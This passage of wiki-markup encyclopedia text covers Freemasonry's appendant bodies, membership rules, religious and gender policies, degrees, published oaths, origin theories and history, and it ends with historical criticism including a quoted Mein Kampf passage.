Examples of these appendant orders include:

*Ancient and Accepted [[Scottish Rite]] (also known as Antient and Accepted Rite), a system of degrees developed in Continental Europe, particularly in France.
*[[York Rite]], Predominantly in the United States of America; a system of degrees which includes three distinct sovereign rites: the Holy Royal Arch, Royal and Select Masters (Cryptic Masonry), and [[Masonic Knights Templar| (Masonic) Knights Templar]].  These orders are wholly distinct elsewhere.
*[[Royal Order of Scotland]]
*Societas Rosecruciana
*Ancient Arabic Order of the Nobles of the Mystic Shrine, commonly known as ([[Shriners]])
*Mystic Order of Veiled Prophets of the Enchanted Realm (Grotto)
*[[Tall Cedars of Lebanon]].

The Shrine and Grotto, which are mostly located in North America, tend to emphasize fun and philanthropy.

Different Freemasonic jurisdictions vary in their relationships with such bodies, if at all.  Some offer formal recognition, while others consider them wholly outside of Freemasonry. This leads to some such bodies not being universally considered as ''appendant bodies'', some being simply as separate organizations that happen to require Masonic affiliation for membership.  Some of these organizations have additional religious requirements, beyond &quot;Craft Masonry&quot;, since they approach Masonic teachings from a particular, Christian, perspective.

A number of youth organizations exist, mainly North American, which are associated with Freemasonry, but are not Masonic in their content. These include:

*[[DeMolay International]], for boys aged 12&amp;ndash;21;
*[[Job's Daughters International]], for girls aged 10-20 with a Masonic family relationship
*[[International Order of the Rainbow for Girls]], for girls who have Masonic sponsorship. 

There are some organisations which are commonly perceived as being related to Freemasonry, such as the [[Boy Scouts of America]], which is incorrect, however some of these benefit from charitable support by Masonic or appendant bodies.{{fact}}

A number of bodies style themselves along Masonic lines, using similar regalia and ritual however they are not accorded recognition.

==Membership requirements==
A candidate for Freemasonry must apply to a ''Private'' (or ''Constituent'') Lodge in his community, obtaining an introduction by asking an existing member. After enquiries are made, he must be freely elected by secret ballot in open Lodge. Members approving his candidacy will vote with &quot;white balls&quot; in the voting box. Adverse votes by &quot;black balls&quot; will exclude a candidate. The number of adverse votes necessary to reject a candidate, which in some jurisdictions is as few as one, is set out in the governing Constitution.  Lodges conduct these elections in a number of different ways; a wholly secret ballot where every member is given the means to vote either way, or semi public where members who choose to vote go to the ballot box and cast a secret vote. 

===General requirements===
Generally to be a Freemason, one must&lt;ref&gt;http://www.grandlodge-england.org/pdf/cr-rule-update2-141205.pdf&lt;/ref&gt;: 

# Be a man who comes of his own free will. Traditionally Freemasons do not actively recruit new members.
# Believe in a Supreme Being, or, in some jurisdictions, a ''Creative Principle''&lt;ref&gt;http://www.grandlodge-england.org/pdf/cr-rule-update2-141205.pdf Aims and Relationships of the Craft&lt;/ref&gt;.
# Be at least the minimum age (18&amp;ndash;25 years depending on the jurisdiction, but commonly 21), 
# Be of sound mind, body and of good morals, and of good repute.
# Be free (or &quot;born free&quot;, ''i.e.'' not born a [[Slavery|slave]] or bondsman).
# Have one or two references from current Masons (depending on jurisdiction).

One must approach an existing member for an application, so Freemasonry is open to all who otherwise fulfil the requirements.

A candidate is asked 'Do you believe in a Supreme Being?', there is no further investigation into the nature of that Supreme Being. Since an initiate is obligated on that sacred volume which is applicable to their faith a sponsor will enquire as to an appropriate volume once a decision has been made on the applicants suitability for initiation.

A number of Grand Lodges allow a '''Lewis''', the son of a Mason, to be initiated earlier than the normal minimum age for that Grand Lodge.{{fact}}

Being of &quot;sound body&quot; is thought to be derived from the operative origins of Freemasonry, an apprentice would be able to meet the demands of their profession.  It is today generally taken to mean &quot;physically capable of taking part in Lodge rituals&quot;{{fact}}; Grand Lodges encourage the use of mechanisms within the ritual to mitigate for difficulty.

The &quot;free born&quot; requirement is moot in modern Lodges; it remains for purely historical reasons. Some jurisdictions have done away with it entirely.

Some Grand Lodges in the United States have a residence requirement, candidates being expected to have lived within the jurisdiction for certain period of time, typically six months.{{fact}} This requirement may be waived in certain jurisdictions for certain situatons.{{fact}}

{{see also|List of famous Freemasons}}

===Membership and religion===
Freemasonry explicitly and openly states that it is not a religion, nor a substitute for religion. There is no separate &quot;Masonic God,&quot; and there is no separate proper name for a deity in any branch of Freemasonry&lt;ref&gt;[http://www.grandlodge-england.org/masonry/A2L-religion.htm UGLE: Is Freemasonry a religion?], accessed [[January 21]] [[2006]].&lt;/ref&gt;.

Freemasonry requires that its candidates believe in a ''Supreme Being'', the nature of that being subject to the conscience of the candidate.  As the interpretation of the term ''Supreme Being'' is left up to the individual members can be drawn from a wide range of faiths; the [[Abrahamic religions]] and other [[monotheistic]] religions.  Some members of non-monotheistic religions are accepted subject to answering ''Yes'' to the question asked, these include, for example, [[Buddhism|Buddhists]] and [[Hinduism|Hindus]].

In the ''[[Regular Masonic jurisdictions|irregular]]'' Continental European tradition, since the early 19th Century, a very broad interpretation has been given to a (non-dogmatic) Supreme Being &amp;mdash; usually allowing [[Deism]] and naturalistic views in the tradition of [[Baruch Spinoza|Spinoza]] and [[Johann Wolfgang von Goethe|Goethe]] (himself a Freemason), or views of [[The Ultimate]] or Cosmic Oneness, along with Western atheistic [[idealism]] and agnosticism. This leads some anti-Masonic pundits to suggest that even ''regular'' Freemasonry will, in practice, accept certain kinds of atheists &amp;mdash; willing to adopt quasi-spiritual language.

In some jurisdictions (mostly English-speaking), Freemasonry is actually less tolerant of naturalism than it was in the 18th Century{{fact}}, and specific religious requirements with more [[theism|theistic]] and orthodox overtones have been added since the early 19th Century (mostly in North America), including belief in the immortality of the soul{{fact}}. 

The Freemasonry that predominates in [[Scandinavia]], known as the [[Swedish Rite]] accepts only Christians.&lt;ref name=&quot;scandinavia&quot;&gt;Freemasons for Dummies, by Christopher Hodapp, Wiley Publishing Inc., Indianapolis, 2005, p.65, sec. &quot;Religion and the Masons&quot;&lt;/ref&gt;.

===Women and Freemasonry===
{{main|Co-Freemasonry}}
The position of '''women and Freemasonry''' is complex, although traditionally, only men can be made Freemasons, in ''[[Regular Masonic jurisdictions|Regular]]'' Freemasonry. 

A supposed exceptional, (very [[Regular Masonic jurisdictions|irregular]] and perhaps unique), account of a woman being admitted to Freemasonry in, 18th century, is the case of [[Elizabeth Aldworth]] 
(born St. Leger), who is reported to have viewed the proceedings of a lodge meeting held at Doneraile House - the private house of her father, first [[Viscount]] Doneraile - a resident of [[County Cork|Cork]], [[Ireland]]. In the early part of the 18th century, it was quite customary for lodges to be held in private houses. This lodge was duly warranted for use by Lodge number 150 on the register of the [[Grand Lodge of Ireland]]. 

Apparently, she removed a brick and saw the ceremony in the room beyond.  After being discovered, Elizabeth's situation was discussed by the lodge. It was decided that she should be initiated into Freemasonry.  The story is supported by other accounts of her being a subscriber to the Irish Book of Constitutions of 1744. She frequently attended, wearing her Masonic [[regalia]], and gave entertainments, under Masonic auspices, for the benefit of the poor and distressed. She married Mr. Richard Aldworth of Newmarket, and it is reported that when she died she was accorded the honour of a &quot;Masonic&quot; burial. 

The systematic admission of women into International [[Co-Freemasonry]] began in [[France]] in 1882 with the initiation of [[Maria Deraismes]] into the Loge Libre Penseurs (Freethinkers Lodge), under the Grande Loge Symbolique de France. In 1893, along with activist Georges Martin, Maria Deraismes oversaw the initiation of sixteen women into the first lodge in the world to have both men and women as members, from inception, creating the jurisdiction [[Le Droit Humain]] (LDH). Again these are regarded as irregular bodies, by ''Regular'' Freemasonry.

In [[North America]], women cannot become Freemasons ''per se,'' but rather join an associated separate body with its own traditions. [[Order of the Eastern Star]] (OES) was created in the United States in the mid-19th Century for female Masonic relatives and Master Masons. Its members are mainly the wives and daughters of Master Masons.

In the [[Netherlands]], there is a completely separate, although masonically allied, sorority for women, the [[Order of Weavers]] (OOW), which uses symbols from weaving rather than stonemasonry.

The GOdF and other jurisdictions, in the Continental European tradition, give full formal recognition to Co-Freemasonry and women's Freemasonry. The UGLE, and other jurisdictions concordant in that ''regular'' tradition, do not formally recognize any Masonic body that accepts women. The UGLE, has stated - since 1998 - that two local women's jurisdictions are regular in practice, except for their inclusion of women, and has indicated that, while not formally recognized, these bodies may be regarded as part of Freemasonry, when describing Freemasonry in general.

==Principles and activities==
Freemasonry is described as a ''System of Morality, veiled in allegory and illustrated by symbol''{{fact}} and as such it uses ritual to convey the '''principles''' of &quot;Brotherly Love, Relief and Truth&quot; - otherwise related, as in France: &quot;Liberty, Equality, Fraternity&quot;.&lt;ref name=&quot;GOdF&quot;&gt;Freemasons for Dummies, by Christopher Hodapp, Wiley Publishing Inc., Indianapolis, 2005, p.783, sec. &quot;Masons marked for life&quot;&lt;/ref&gt;. 

Moral lessons are delivered in a ritualised manner, the candidate progressing through ''degrees''&lt;ref&gt;http://www.grandlodge-england.org/pdf/cr-rule-update2-141205.pdf Aims and Relationships of the Craft&lt;/ref&gt; gaining in knowledge and understanding of himself, his relationship with others and his relationship with that Supreme Being to which he adheres.  

Outside the ritual context the fraternity is widely involved in charity and community service '''activities''', as well as providing a social outlet for the members. 

The balance between ritual, philosophcal and spiritual, charitable service and social interchange aspects varies subject to the cultures of the various Grand Lodges which govern Freemasonry around the world.  Some Continental European Grand Lodges require the candidate to demonstrate philosophical competence as he advances through the degrees which is notoverwhelmingly present in Britain, North America, and the anglophone parts of the world where charity tends to balance philosophy{{fact}}.  There is a growing movement of lodges thorughout the anglophone world tending towards the more philosophical and spiritual aspects of the craft{{fact}}.

Nevertheless, philosophy and esoteric knowledge remains a deep interest to many individuals. The philosophical aspects of the ''Craft'' tend to be discussed in Lodges of Instruction or Research, and sometimes informal groups. Freemasons themselves frequently reprint the scholarly studies that are available to the public.

==Ritual and symbolism==
{{Spoiler-blank|This article contains information that some say are Masonic secrets.}}
Freemasonic '''Ritual''' uses the [[architecture|architectural]] symbolism of the [[medieval]] ''operative'' [[Masonry|Masons]] who actually [[masonry|worked in stone]]. Tools from operative masonry are used by Freemasons to teach moral and ethical lessons.  Two of the principal '''symbols''' always found in a lodge are the ''square and [[Compass (drafting)|compasses]]''. However, as Freemasonry is non-dogmatic, there is no general interpretation for any of these symbols. &lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt;

The square and compasses are displayed at all Masonic meetings, along with the open ''Volume of the Sacred Law'' (VSL). In English-speaking countries, this is usually the [[King James Version of the Bible]] or another standard translation (there is no such thing as an exclusive &quot;Masonic Bible&quot;. &lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; It is otherwise whatever book a particular jurisdiction authorizes. In many French Lodges, the Masonic Constitutions are used. 

A candidate for a degree will normally be given his choice of VSL for his Obligation according to his beliefs. Christian candiates will typically use the Lodge's Bible. Those of other religions may choose another holy book, which can be but is not necessarily limited to the [[Torah]] for Jewish candidates, the [[Qur'an]] for Moslem canidates, the [[Vedas]] for Hindu candidates, or another appropriate scripture. Buddhist candidates can select from the [[Tipitaka]] or [[Mahayana]][[Sutras]], many selecting the [[Dhammapada]]. In these situations the Lodge's usual VSL is displayed alongside the candidate's. In lodges with a mixed religious membership it is not uncommon to find more than one sacred text displayed, each representing the religious beliefs of the individuals present. 
 
In keeping with the geometrical and architectural theme of Freemasonry, the Supreme Being (or God, or Creative Principle) is sometimes also referred to in Masonic ritual by the attributes of ''Grand Geometer,'' or ''Great Architect of the Universe'' (G.A.O.T.U.). Freemasons use a variety of forms of words in order to avoid the idea that they are talking about any one religion's particular God or God-like concept.

===Degrees===
The degrees of ''Craft'' or ''Blue Lodge'' Freemasonry are those of: 

# Entered Apprentice (EA)
# Fellow Craft (FC)
# Master Mason (MM)

As a Freemason works through the '''degrees''', and studies the lessons they contain, he interprets them for himself. No Mason is dictated to as to the interpretation he personally gives, bounded only by the Constitution within which he works. &lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; A common structure of speaking symbolically, and universal human archetypes, provides for each Freemason a means to come to his own answers to life's important philosophical questions. Especially in Europe, Freemasons working through the degrees are asked to prepare papers on related philosophical topics, and present these papers in an open Lodge.

There is no Masonic degree higher than that of Master Mason&lt;ref&gt;http://www.grandlodge-england.org/pdf/cr-rule-update2-141205.pdf Aims and Relationships of the Craft&lt;/ref&gt;. Although some Masonic bodies and orders have degrees named with higher numbers, these degrees are considered to be supplements to the Master Mason degree rather than promotions from it&lt;ref&gt;Beyond the Craft: The Indispensable Guide to Masonic Orders Practised in England and Wales, Kieth B Jackson&lt;/ref&gt; . Nevertheless, it is essential for one to be a Master Mason in order to qualify for these further degree bodies, each of which is organized and administered more or less similarly to Freemasonry itself. In each organization there is a system of offices which confer rank within that degree or order alone.

====Signs of the three Degrees==== 

As published in Illustrations of Masonry by Capt. Wm Morgan, 1827

&lt;gallery&gt;
Image:Masonsigns1.gif
Image:Masonsigns2.gif
Image:Masonsigns3.gif
Image:Masonsigns4.gif
&lt;/gallery&gt;

====Oaths of the three Degrees====  
 
According to Capt. Wm Morgan in his Illustrations of Masonry, the oaths of the three Degrees are


=====In the First Degree, Apprentice  =====
 
He swears, with his hand on the Bible, &quot;I (name), in the presence of Almighty God, most solemnly promise and swear that I will always hail, ever conceal, and never reveal any of the arts, parts of points of the hidden mysteries of Freemasonry... binding myself under the penalty than that of having my throat cut across, my tongue torn out, and my body buried in the rough sands of the see...&quot; &lt;ref&gt;[http://www.utlm.org/onlinebooks/captmorgansfreemasonrycontents.htm  Illustrations of Masonry by Capt. Wm Morgan, 1827]&lt;/ref&gt; 
  
=====The Second Degree, Fellow Craft  =====
 
He swears on the Bible, in the presence of Almighty God, &quot;under the penalty than of having my breast open... and my heart and lungs thrown over my left shoulder... so help me God&quot;. &lt;ref&gt;[http://www.utlm.org/onlinebooks/captmorgansfreemasonrycontents.htm  Illustrations of Masonry by Capt. Wm Morgan, 1827]&lt;/ref&gt;  
 
=====The Third Degree, Master Mason  =====
 
He swears &quot;under the penalty than that of having my body severed in two, my bowels taken from thence and burn to ashes... so help me God&quot;. &lt;ref&gt;[http://www.utlm.org/onlinebooks/captmorgansfreemasonrycontents.htm  Illustrations of Masonry by Capt. Wm Morgan, 1827]&lt;/ref&gt;

===Landmarks===
The '''Landmarks''' are the ancient and unchangeable precepts of Masonry, the standards by which the regularity of a Freemasonic Lodge and Grand Lodges are judged. Each Grand Lodge is self-governing and no single authority exists over the whole of Freemasonry. The interpetation of these principles can and do vary, leading to controversies of recognition.

The concept of Masonic Landmarks appears in Masonic regulations as early as 1723, and seems to have been adopted from the regulations of operative masonic guilds. Nowadays the term ''Landmark'' is generally understood by the definition of Dr. Albert Gallatin Mackey, who laid down three requisite characteristics, namely: (1) immemorial antiquity (2) universality (3) absolute irrevocability.

In 1856, Mackey attempted to set down the actual Landmarks as he saw them. He determined there were 25 in all. Seven years later, in 1863, George Oliver published Freemason's Treasury in which he listed 40 Landmarks. In the last century, a number of American Grand Lodges attempted the daunting task of enumerating the Landmarks, ranging from West Virginia (7) and New Jersey (10) to Nevada (39) and Kentucky (54). &lt;ref&gt;[http://www.srmason-sj.org/web/journal-files/Issues/Feb02/botelho.htm ''Masonic Landmarks''], by Bro. Michael A. Botelho. Accessed [[7 February]] [[2006]].&lt;/ref&gt;
{{Endspoiler}}

==History of Freemasonry==
{{Mergeto|History of Freemasonry}}

{{main|History of Freemasonry}}

===Origin theories===

Freemasonry is a ''system of morality, veiled in allegory and illustrated by symbol'' and in the ritual context employs an ellegorical foundation myth of foundation of the fraternity by the builders of King Solomon’s Temple. 

Beyond myth, there is a distinct absence of documentation as to Freemasonry’s origins, which has led to a great deal of speculation among historians, both from within and from outside the fraternity.  Hundreds of books have been written on the subject.  Much of the content of these books is highly speculative, and the precise origins of Freemasonry may very well be permanently lost to history.

Freemasonry has variously been attributed to &lt;ref&gt;''A History of Freemasonry'' by H.L. Haywood and James E. Craig, pub. ''ca'' 1927 &lt;/ref&gt; :

*an institutional outgrowth of the medieval guilds of stonemasons, &lt;ref&gt;''The Origins of Freemasonry: Scotland's Century, 1590-1710'' by David Stevenson, pub ''Cambridge'' 1990&lt;/ref&gt;&lt;ref&gt;''English Speculative Freemasonry: Some possible Origins, Themes and Developments.  The Prestonian Lecture for 2004 in Ars Quatuor Coronatum 2004'' by Trevor Stewart, pub ''London'' 2005&lt;/ref&gt; 
*a direct descendant of the &quot;Poor Fellow-Soldiers of Christ and the Temple of Solomon in Jerusalem&quot; (the [[Knights Templar]])&lt;ref&gt;''The History of Freemasonry'' by Albert G. Mackey, Gramercy Books, 1996 , pp.217-266, secs. &quot;Freemasonry and the Crusades&quot; &amp; &quot;The Story of the Scottish Templars&quot;&lt;/ref&gt;&lt;ref name=&quot;knighttemplars&quot;&gt;Freemasons for Dummies, by Christopher Hodapp, Wiley Publishing Inc., Indianapolis, 2005, pp. 203-208, sec. &quot;A crash course in Templar history&quot;&lt;/ref&gt;
*an offshoot of the ancient [[Mystery schools]], &lt;ref&gt;''The Hiram Key: Pharoahs, Freemasons and the Discovery of the Secret Scrolls of Christ'' by Christopher Knight and Robert Lomas, pub ''London'' 1997&lt;/ref&gt;
*an administrative arm of the [[Priory of Sion]],&lt;ref&gt;''The Holy Blood and the Holy Grail'' by Michael Baigent, Richard Leigh and Henry Lincoln, pub ''London'', 2005&lt;/ref&gt; 
*the intellectual descendants of the Roman Collegia&lt;ref&gt;''Freemasonry and the Roman Collegia'' by H.L. Haywood, The Builder, 1923 [http://www.freemasons-freemasonry.com/collegia.html &amp;mdash; Freemasonry and the Roman Collegia]&lt;/ref&gt;,
*the intellectual descendants of the [[Comacine masters]]&lt;ref&gt;''Freemasonry and the Comacine masters'' by H.L. Haywood, The Builder, 1923 [http://www.freemasons-freemasonry.com/comacine.html &amp;mdash; Freemasonry and the Comacine Masters]&lt;/ref&gt;, 
*the intellectual descendants of [[Noah]]&lt;ref&gt;''The History of Freemasonry'' by Albert G. Mackey, Gramercy Books, 1996 , pp.406-411, sec. &quot;Noah and the Noachites&quot;&lt;/ref&gt; or [[Enoch]]&lt;ref&gt;''The History of Freemasonry'' by Albert G. Mackey, Gramercy Books, 1996 , pp.396-405, sec. &quot;The Legend of Enoch&quot;&lt;/ref&gt;,
*survivor of late 17th Century, enlightenment period, fashion for fraternal bodies with no real connections at all to earlier organizations. 

It is thought by many that Freemasonry is unlikely to be a straightforward outgrowth of medieval guilds of stonemasons. Amongst the reasons given for this conclusion are the facts that stonemasons lived near their worksite and thus had no need for secret signs to identify themselves, and that the &quot;Ancient Charges&quot; of Freemasonry are nonsensical when thought of as being rules for a stonemasons' guild.

Especially amongst York Rite Freemasons, Freemasonry is said to have existed in the 10th century CE, at the time of King Athelstan of England. Athelstan is said to have been converted to Christianity in York, and to have issued the first Charter to the Masonic Lodges there. The story of his conversion is unsubstantiated, as that royal dynasty had been Christian for centuries.

Current theory &lt;ref&gt;''English Speculative Freemasonry: Some possible Origins, Themes and Developments. The Prestonian Lecture for 2004 in Ars Quatuor Coronatum 2004'' by Trevor Stewart, pub ''London'' 2005&lt;/ref&gt; suggests that the development of Freemasonry has two distinct growth periods.

:'''Stage 1''' Freemasonry being operative in nature and likely to have been associated with the craft guilds.  Ritual elements are simple and there is no evidence of a sophisticated philosophical outlook.

:'''Stage 2''' emerges in the 18th Centry with a gentrification process and is evidenced by an increasing non-operative membership notable for their social position and position in English, particularly London based, society. The Prestonian ritual and lectures demonstrate an infusion of enlightenment philosophy and increasing use of ritual as a vehicle for the communication and exploration of that philosophy.

===From foundation to 1717===

A more historical source asserting the antiquity of Freemasonry is the Halliwell Manuscript, or Regius Poem - believed to date from ca. 1390. This makes reference to several concepts and phrases similar to those found in Freemasonry.&lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; The manuscript itself seems to be an elaboration to an earlier document, to which it refers.

There is also the Cooke Manuscript, dated 1430 - the Constitution of German stonemasons.&lt;ref&gt;Ibid&lt;/ref&gt; The first appearance of the word 'Freemason' occurs in the Statutes of the Realm enacted in 1495 by [[Henry VII of England]], however, most other documentary evidence prior to the 1500s appears to relate entirely to operative Masons.&lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt;

By 1583, the date of the Grand Lodge manuscript,&lt;ref&gt;Ibid&lt;/ref&gt; the documentary evidence begins to grow. The Schaw Statues of 1598-9(4) are the source used to declare the precedence of [[Lodge Mother Kilwinning]] in [[Kilwinning]], Ayrshire, Scotland over Lodge Mary's Chapel in [[Edinburgh]]. These are described as Head and Principal respectively. As a side note, following a dispute over numbering at the formation of the [[Grand Lodge of Scotland]] (GLS) - Kilwinning is numbered as [[Lodge Mother Kilwinning]] Number 0 (pronounced 'Nothing'), GLS. Quite soon thereafter, a charter was granted to Sir William St. Clair (later Sinclair) of Roslin (Rosslyn), allowing him to purchase jurisdiction over a number of lodges in Edinburgh and environs.&lt;ref&gt;Ibid&lt;/ref&gt; This may be the basis of the Templar myth surrounding [[Rosslyn Chapel]].  

From the early 1600s references are found to Freemasonry in personal diaries and journals. [[Elias Ashmole]] (1617-1692), was made a Mason in 1646, and notes attending several Masonic meetings. There appears to be a general spread of the Craft, between Ashmole's account and 1717, when four [[England|English]] Lodges meeting in [[London]] [[Taverns]] joined together and founded the Grand Lodge of England (GLE). They had held meetings, respectively, at the Apple-Tree Tavern, the Crown Ale-House near Drury Lane, the Goose and Gridiron in St. Paul's Churchyard, and the Rummer and Grapes Tavern in Westminster.&lt;ref&gt;Ibid&lt;/ref&gt;

With the foundation of this first Grand Lodge, Freemasonry shifted from being an obscure, relatively private, institution into the public eye.  The years following saw new Grand Lodges open throughout Europe. How much of this growth was the spreading of Freemasonry itself, and how much was due to the public organization of pre-existing private Lodges, is uncertain.

===The two great schisms of Freemasonry (1753 and 1877)===
In 1723, [[http://en.wikipedia.org/wiki/James_Anderson_%28minister%2C_author%2C_Mason%29 James Anderson]] wrote and published [http://digitalcommons.unl.edu/libraryscience/25/ The Constitutions of the Free-Masons], ''For the Use of the Lodges'' in London and Westminster. This work was reprinted in Philadelphia in 1734 by [[Benjamin Franklin]], who was that year elected Grand Master of the Masons of Pennsylvania.

The Grand Lodge of England (GLE) expanded the degree system from two &amp;mdash; Entered Apprentice and Fellow Craftsman &amp;mdash; to three. This was done by adding the Master Mason degree, around the year 1725; and by reorganising, adding and dispersing ritual elements. The GLE along with those jurisdictions in amity with it, came to be known colloquially as the ''Moderns'', (or the Premier Grand Lodge), to distinguish them from a newer, rival group within Freemasonry, known as the ''Antients'', (or the Antient Grand Lodge). The Antients broke away in 1753, prompted by changes to the Ritual and a wish to have a fourth ''Holy Royal Arch'' (HRA) degree within Craft Masonry. [[Benjamin Franklin]] was a Modern, but by the time he died, his lodge had gone over to the Antients and would no longer recognize him as one of their own &amp;mdash; declining to give him Masonic honours at his funeral.&lt;ref&gt;''Revolutionary Brotherhood'', by Steven C. Bullock, Univ. N. Carolina Press, Chapel Hill, 1996&lt;/ref&gt;

The schism was healed in when the competing Grand Lodges were amalgamated into the United Grand Lodge of England (UGLE) in 1813, by virtue of a delicately worded compromise that returned the modes of recognition to their pre-1753 form, but kept Freemasonry ''per se'' as consisting of three degrees only, and while still allowing the Antients to view the HRA degree as the completion of the third degree.&lt;ref&gt;[http://freemasonry.org/psoc/pragmatic.htm A Pragmatic Masonic History], by Leo Zanelli, accessed [[November 14]] [[2005]]&lt;/ref&gt; Both the Antients and the Moderns had ''daughter'' lodges throughout the world, and because many of those lodges still exist, there is a great deal of variability in the ritual used today, even between UGLE-recognized jurisdictions in amity. Most private lodges conduct themselves in accordance with an agreed-upon single Rite.

The second great schism in Freemasonry occurred in the years following 1877, when the GOdF started accepting atheists unreservedly. While the issue of atheism is probably the greatest single factor in the split with the GOdF, the English also point to the French recognition of women's Masonry and co-Masonry, as well as the tendency of French Masons to be more willing to discuss religion and politics in Lodge. While the French curtail such discussion, they do not ban it as outright as do the English.&lt;ref&gt;see [http://bessel.org/masrec/france.htm Masonic U.S. Recognition of French Grand Lodges in the 1900s], Paul M. Bessel. Accessed [[November 14]] [[2005]]&lt;/ref&gt; The schism between the two branches has occasionally been breached for short periods of time, especially during the [[World War I|First World War]] when American Masons overseas wanted to be able to visit French Lodges.&lt;ref&gt;Ibid&lt;/ref&gt;

Concerning religious requirements, the oldest constitution found in  Freemasonry &amp;mdash; that of Anderson, 1723 &amp;mdash; says that a Mason ''&quot;will never be a stupid Atheist nor an irreligious Libertine&quot;'' if he ''&quot;rightly understands the Art&quot;''. The only religious requirement was ''&quot;that Religion in which all Men agree, leaving their particular Opinions to themselves&quot;''.&lt;ref&gt; [http://www.2be1ask1.com/library/anderson.html Anderson's Constitutions], accessed [[November 14]] [[2005]].&lt;/ref&gt; Masons debate as to whether ''&quot;stupid&quot;'' and ''&quot;irreligious&quot;'' are meant as necessary, or as accidental, modifiers of ''&quot;atheist&quot;'' and ''&quot;libertine&quot;''. It is possible the ambiguity is intentional.  

In 1815, the newly amalgamated UGLE modified Anderson's constitutions to include: ''&quot;Let a man's religion or mode of worship be what it may, he is not excluded from the Order, provided he believes in the glorious Architect of Heaven and Earth, and practices the sacred duties of morality.&quot;''

In 1849, France (GOdF) followed the English (UGLE) lead by adopting the ''&quot;Supreme Being&quot;'' requirement, but pressure from Latin countries produced by 1875, the alternative phrase ''&quot;Creative Principle&quot;''. This was ultimately not enough for the GOdF, and in 1877 it re-adopted the original Anderson document of 1723. They also created an alternative ritual that made no direct reference to any deity, with the atribute of the Great Architect of the Universe. This new Rite did not replace the older ones, but was added as an alternative, as Continental European jurisdictions, generally, tend not to restrict themselves to a single Rite &amp;mdash; offering a menu of Rites, from which their lodges may choose.

{{see also| Regular Masonic jurisdictions}}

==Criticism, persecution, and prosecution==
{{main|Anti-Freemasonry}}   

Freemasonry has historically attracted criticism and suppression from the politically [[Far_right|extreme right]] (i.e. [[Nazi_Germany]]&lt;ref&gt;James Wilkenson and H. Stuart Hughes, ''Contemporary Europe: A History'', Prentice Hall:1995 p.237&lt;/ref&gt;&lt;ref&gt;Otto Zierer, ''Concise History of Great Nations: Hostory of Germany'', Leon Amiel Publisher:1976 p. 104 &lt;/ref&gt;) and the [[Far_left|extreme left]] (i.e. the former [[Communist]] states in [[Eastern Europe]]). The fraternity has encountered both applause for “founding” - and opposition for supposedly thwarting - [[liberal]] [[democracy|democracies]] (such as the United States of America). It has also attracted criticism and suppression from [[theocracy|theocratic]] [[Islam|states]] and organised religions for supposed competition with religion, or [[heterodoxy]] within the Fraternity itself.

=== Case studies in politics and crime ===
Perhaps influenced by the assertion of Masons that many political figures in the past 300 years have been Masons, Freemasonry has long been the target of [[conspiracy]] theories {{fact}}, which see it as an [[occult]] and evil power. Often associated with the [[New World Order]] and other &quot;agents&quot;, such as the [[Illuminati]] - the fraternity is seen, by conspiracy theorists, as either bent on world domination, or already secretly in control of world politics.{{fact}} 

In [[1799]] English Freemasonry almost came to a halt. In the wake of the [[French Revolution]] the ''Unlawful Societies Act, 1799'' banned any meetings of groups that required their members to take an [[oath]] or obligation. {{fact}}The Grand Masters of the Premier Grand Lodge and the Antients Grand Lodge called on the Prime Minister William Pitt, (not a Freemason) and explained to him how Freemasonry was a supporter of the law and lawfully constituted authority and was much involved in charitable work. As a result Freemasonry was specifically exempted from the terms of the Act, provided that each Private Lodge's Secretary placed with the local &quot;Clerk of the Peace&quot; a list of the members of his Lodge - once a year. {{fact}} This continued until [[1967]] when the obligation of the provision was rescinded by [[Parliament]].{{fact}}

Due to the appearance of secrecy, and the possibility it might be implicated in rebellion{{fact}}, ''regular'' Freemasonry inserted into its core ritual a formal obligation; to be a quiet and peaceable citizens, true to their lawful government of the country in which they live and not to countenance disloyalty or rebellion. &lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; A Freemason makes a further obligation, before being made Master of his Lodge, to pay a proper respect to the civil [[magistrate|Magistrates]]. &lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; The words may be varied across Grand Lodges, but the sense in the obligation taken is always there in ''regular'' Freemasonry. No one citation can be given, even historically, since the actual text is not specified, nor is the whole of Freemasonry given to such an undertaking.{{fact}} In fact this has historically been the cause of Grand Lodges calling others ''irregular''.{{fact}}

In [[1826]], [[William Morgan]] disappeared in the [[United States|U.S.]], after threatening to expose Freemasonry's secrets. His disappearence caused claims that he had been murdered by rogue Freemasons.{{fact}} No evidence was ever brought forward, however.{{fact}}

In ''[[Mein Kampf]]'', [[Adolf Hitler]] writes that Freemasonry has &quot;succumbed&quot; to the Jews and has become an &quot;excellent instrument&quot; to fight for their aims and to use their &quot;strings&quot; to pull the upper strata of society into their alleged designs. He continues, &quot;The general pacifistic paralysis of the national instinct of self-preservation begun by Freemasonry&quot; is then transmitted to the masses of society by the press.&lt;ref&gt;A. Hitler, ''Mein Kampf'', pages 315 and 320.&lt;/ref&gt;

